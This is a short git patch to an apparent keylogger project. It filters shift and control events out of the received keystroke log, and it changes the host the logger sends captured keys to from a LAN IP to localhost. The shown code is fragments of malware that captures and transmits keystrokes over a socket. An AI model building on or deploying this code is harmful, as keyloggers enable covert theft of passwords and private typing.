From 3fb89cdaa24ab67ae2a0fbf48731265e206450e2 Mon Sep 17 00:00:00 2001 From: CactiChameleon9 Date: Thu, 10 Dec 2020 10:10:32 +0000 Subject: [PATCH] remove the logging of non-text keys --- Client/serversend - datalog.py | 3 ++- Server/KEY LOGGER - Normal.py | 2 +- data.txt | 1 + 3 files changed, 4 insertions(+), 2 deletions(-) create mode 100644 data.txt diff --git a/Client/serversend - datalog.py b/Client/serversend - datalog.py index 3a86cd1..59bd6aa 100644 --- a/Client/serversend - datalog.py +++ b/Client/serversend - datalog.py @@ -43,7 +43,8 @@ while True: break # write to the file the bytes we just received f = open(filename, 'ab') - f.write(bytes_read) + if (bytes_read.find("Key") == -1): #don't write shifts and controls + f.write(bytes_read) print(bytes_read) f.close() diff --git a/Server/KEY LOGGER - Normal.py b/Server/KEY LOGGER - Normal.py index 8d6bb84..818cddc 100644 --- a/Server/KEY LOGGER - Normal.py +++ b/Server/KEY LOGGER - Normal.py @@ -9,7 +9,7 @@ BUFFER_SIZE = 128 # send 4096 bytes each time step # the ip address or hostname of the server, the receiver -host = "10.4.27.243" +host = "127.0.0.1" # the port, let's use 5001 port = 5001 # the name of file we want to send, make sure it exists diff --git a/data.txt b/data.txt new file mode 100644 index 0000000..3410062 --- /dev/null +++ b/data.txt @@ -0,0 +1 @@ +c \ No newline at end of file